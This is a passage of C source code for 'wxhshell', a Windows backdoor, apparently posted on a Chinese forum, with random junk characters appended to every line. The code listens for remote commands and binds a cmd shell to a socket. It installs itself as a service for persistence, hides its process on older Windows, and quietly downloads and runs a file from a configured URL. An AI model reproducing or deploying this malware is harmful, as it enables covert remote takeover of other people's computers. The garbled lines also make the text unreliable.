      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]=sGLd^)E  
    break; @D=i|f  
  } 7j{63d`2  
  // 安装 J]$]zD  
  case 'i': { Jnq}SUev  
    if(Install()) [kPF Jf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JO|xX<#:  
    else w O*x0$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M[5fNK&nD  
    break; 1H7 bPl|  
    } $ud\CU:r  
  // 卸载 9 IY1"j0O  
  case 'r': { Z oQPvs7_  
    if(Uninstall()) {s~t>Rp+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0D^c4[Y'l  
    else , Y cF~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FKkL%:?  
    break; fdzaM&  
    } '&Tq/;Ml  
  // 显示 wxhshell 所在路径 2)+ddel<Z  
  case 'p': { iig@$ i#  
    char svExeFile[MAX_PATH]; T Ue=Yj  
    strcpy(svExeFile,"\n\r"); 5s=L5]]r_j  
      strcat(svExeFile,ExeFile); _D~FwF&A  
        send(wsh,svExeFile,strlen(svExeFile),0); 7& G#&d  
    break; [5s4Jp$+  
    } }#QYZ nR  
  // 重启 Lsz)\yIPj  
  case 'b': { ">"B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dpI! {'"M  
    if(Boot(REBOOT)) hYU4%"X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w]Z:Y`  
    else { XXZ<r  
    closesocket(wsh); Rkz[x  
    ExitThread(0); _t;Mi/\P  
    } x"n)y1y  
    break; #tQ__ V   
    } _q1E4z  
  // 关机 \ q=Bbfzv  
  case 'd': { p;YS`*!s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cuo'V*nWQ  
    if(Boot(SHUTDOWN)) EiWsVic[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a;[=b p  
    else { /;a b"b  
    closesocket(wsh); 2g:V_%  
    ExitThread(0); Vo:Gp  
    } 8:)itYE  
    break; x*2I]4  
    } y9)Rl)7-:  
  // 获取shell x^P~+(g  
  case 's': { =P\Tk)(`  
    CmdShell(wsh); R`!'c(V  
    closesocket(wsh); "`8~qZ7k  
    ExitThread(0); JN:EcVuy  
    break; $g+q;Y~i0  
  } BP`'1Ns  
  // 退出 "fX9bh^  
  case 'x': { a.!|A(zw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t~@~XI5  
    CloseIt(wsh); .cA'6J"Bm\  
    break; > lIQM3  
    } {m2lVzK  
  // 离开 Ec;{N  
  case 'q': { [[ ;vZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f+iM_MI  
    closesocket(wsh); [W{WfJ-HwG  
    WSACleanup(); yCLDJ%8  
    exit(1); @#= ail  
    break; l!^+Xeg~  
        } {Mx3G*hr  
  } 5<?s86GHh'  
  } NT}r6V(Aju  
)`B n"=  
  // 提示信息 tV5U z&:b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p{BBqKv  
} WC<K(PP  
  } + IpC  
mFdj+ &2\  
  return; FG[YH5  
} b ?-VZA:  
nNJMQb'K  
// shell模块句柄 }u aRS9d  
int CmdShell(SOCKET sock) X[{tD#  
{ S_ Pa .  
STARTUPINFO si; E=9xiS  
ZeroMemory(&si,sizeof(si)); 8Q2qroT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eub2[,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &>]c"?C*  
PROCESS_INFORMATION ProcessInfo; 1>"[b8a/  
char cmdline[]="cmd"; /PuN+M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,|r%tNh<8$  
  return 0; vm y?8E6+  
} 9< $n'g  
ToVi;  
// 自身启动模式 Z+G.v=2q<  
int StartFromService(void) f,_EPh>  
{ ,fa'  
typedef struct ZFNn(n  
{ |)vC^=N{+  
  DWORD ExitStatus; ][IEzeI_LN  
  DWORD PebBaseAddress; BlrZ<\-/  
  DWORD AffinityMask; ?Dr K2;q  
  DWORD BasePriority; L~PBD?l  
  ULONG UniqueProcessId; X5hamkM*m  
  ULONG InheritedFromUniqueProcessId; w#!^wN  
}   PROCESS_BASIC_INFORMATION; x]=s/+Y  
-J<{NF  
PROCNTQSIP NtQueryInformationProcess; ipThw p9  
z9B" "ws  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?"o7x[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PS=N]e7k'  
\=yWJ  
  HANDLE             hProcess; bz1+AJG  
  PROCESS_BASIC_INFORMATION pbi; V4.&"0\n#  
oXxY$x*R1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R;]z/|8  
  if(NULL == hInst ) return 0; "nzQ$E>?$  
EL?6x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p!OCF]r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Duu)8ru  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +=:*[JEK,U  
b-+~D9U <  
  if (!NtQueryInformationProcess) return 0; !)1gGXRY  
$:i%\7=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fQkfU;5  
  if(!hProcess) return 0; 26&$vgO~:  
-*<4 hFb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |g@n'^]  
U_8 Z&  
  CloseHandle(hProcess); 6Kbc:wlR  
bl8EzO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !'jZ !NFO  
if(hProcess==NULL) return 0; @X?7a]+;8  
Oe/&Ryj=mm  
HMODULE hMod; |}-bMQ|  
char procName[255]; 1LK`    
unsigned long cbNeeded; /Z?$!u4I  
+}.~"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l@irA tg4  
w!j'k|b>  
  CloseHandle(hProcess); J2BCaAwEP,  
C+m%_6<  
if(strstr(procName,"services")) return 1; // 以服务启动 nc2=S^Fqu  
@|2L>N  
  return 0; // 注册表启动 [XKudw%  
} +QZ}c@'r  
4m:D8&D_M  
// 主模块 i!a. 6Gq  
int StartWxhshell(LPSTR lpCmdLine) Km)VOX[ZZ  
{ z]%c6ty  
  SOCKET wsl; 0aRHXc2<  
BOOL val=TRUE; (2J\o  
  int port=0; sy]hMGH:3W  
  struct sockaddr_in door; 9zL(PkC%\  
%4QpDt  
  if(wscfg.ws_autoins) Install(); 7K 'uNPC  
Z^[ ]s1iP}  
port=atoi(lpCmdLine); 8)o%0#;0B  
D^Gs_z$['  
if(port<=0) port=wscfg.ws_port; w:VD[\h  
(Qcd !!   
  WSADATA data; 7@1GSO:Yf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MtD0e@  
P U2^4h/[`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `9* |Y8:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B6yTD7  
  door.sin_family = AF_INET; c<a)Yqf"]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <0!O'" "J  
  door.sin_port = htons(port); 4~K%,K+Du  
xjy(f~'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kj>!&W57  
closesocket(wsl); X=KC +1e  
return 1; :Dj0W8V  
} !kS/Ei  
-hY@r 7y  
  if(listen(wsl,2) == INVALID_SOCKET) { G`Df'Yy  
closesocket(wsl); *N&~Uq^  
return 1; TYKs2+S6  
} bgYUsc*uR  
  Wxhshell(wsl); [Qqomm.[\w  
  WSACleanup(); %X BMi ~  
bn%4s[CVb4  
return 0; Ii&\LJ  
kW7$Gw]-  
} .%EYof  
:2.<JUDM  
// 以NT服务方式启动 82M` sk3.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ij,Rq`}l  
{ "WzKJwFr  
DWORD   status = 0; +# 3e<+!F  
  DWORD   specificError = 0xfffffff; rS!M0Hq>t  
q5G`q&O5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SLW|)Q24  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *M ^ <oG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,`bmue5  
  serviceStatus.dwWin32ExitCode     = 0; *XOLuPL>6)  
  serviceStatus.dwServiceSpecificExitCode = 0; W\2 ']7}e  
  serviceStatus.dwCheckPoint       = 0; p,.6sk  
  serviceStatus.dwWaitHint       = 0; y_' 6bpb  
!nsx!M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j5[Y0)pV\  
  if (hServiceStatusHandle==0) return; 2?{'(i ay  
^I KT!"J&?  
status = GetLastError(); =4$ErwI_dm  
  if (status!=NO_ERROR) k1.%ZZMM  
{ 4f&"1:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; & 'CUc/,  
    serviceStatus.dwCheckPoint       = 0; as(/ >p  
    serviceStatus.dwWaitHint       = 0; =I aWf  
    serviceStatus.dwWin32ExitCode     = status; {- &`@V  
    serviceStatus.dwServiceSpecificExitCode = specificError; {_mVfFG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U:z5`z!  
    return; d%UzQ*s  
  } U\u07^h[  
ve+bR   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ('{aOiSH  
  serviceStatus.dwCheckPoint       = 0; Gr4v&Mz:  
  serviceStatus.dwWaitHint       = 0; >(-A"jf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JA*+F1s  
} bZ_TW9mq  
<DP8a<{{  
// 处理NT服务事件,比如:启动、停止 ;: &|DN3;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zE<Iv\Q  
{ @mJ~?d95v  
switch(fdwControl) 7{]dh+)  
{ 1BEs> Sm  
case SERVICE_CONTROL_STOP: b50mMW tG  
  serviceStatus.dwWin32ExitCode = 0; Vef!5]t5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @H<*|3J  
  serviceStatus.dwCheckPoint   = 0; tXqX[Td`0g  
  serviceStatus.dwWaitHint     = 0; |j-ng;  
  { fZj,Q#}D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JEk'2Htx  
  } J&s$Wqf  
  return; E%DT;1  
case SERVICE_CONTROL_PAUSE: 0-[naGz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *FktI\tS  
  break; i!RfUod  
case SERVICE_CONTROL_CONTINUE: ggL/7I(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YVwpqOE.=  
  break; ^86M 94k  
case SERVICE_CONTROL_INTERROGATE: x\U[5d   
  break; aG83@ABx  
}; <gFa@at  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,:e~aG,B  
} xnt)1Q  
8}m J )9<7  
// 标准应用程序主函数 e`S\-t?Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MqB@}!  
{ bD0l^?Hu!  
D*Zj oU  
// 获取操作系统版本 4~&3.1  
OsIsNt=GetOsVer(); rD~/]y)t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >x JzV  
GTM0Qvf?  
  // 从命令行安装 ^8;MY5Wbs  
  if(strpbrk(lpCmdLine,"iI")) Install(); M2|!,2  
Sz@z 0'  
  // 下载执行文件 DH yv^  
if(wscfg.ws_downexe) { VaY#_80$s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) **L&I5Hhm  
  WinExec(wscfg.ws_filenam,SW_HIDE); |y[I!JdR  
} CYLab5A  
6{buel(|e  
if(!OsIsNt) { fJ[ ^_,O  
// 如果时win9x,隐藏进程并且设置为注册表启动 X'jyR:ut#  
HideProc(); Rey+3*zUb  
StartWxhshell(lpCmdLine); Jgv Mx  
} 6qHD&bv\%C  
else [M[<'+^*  
  if(StartFromService()) "t&=~eOe3  
  // 以服务方式启动 J`U]Ux/L  
  StartServiceCtrlDispatcher(DispatchTable); ?@9v+Am!  
else V ml 6\X  
  // 普通方式启动 3e&+[j  
  StartWxhshell(lpCmdLine); x[)-h/&Fh  
/"8e,  
return 0; hm1s~@oEm  
}
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只看该作者 1 发表于: 2006-10-10
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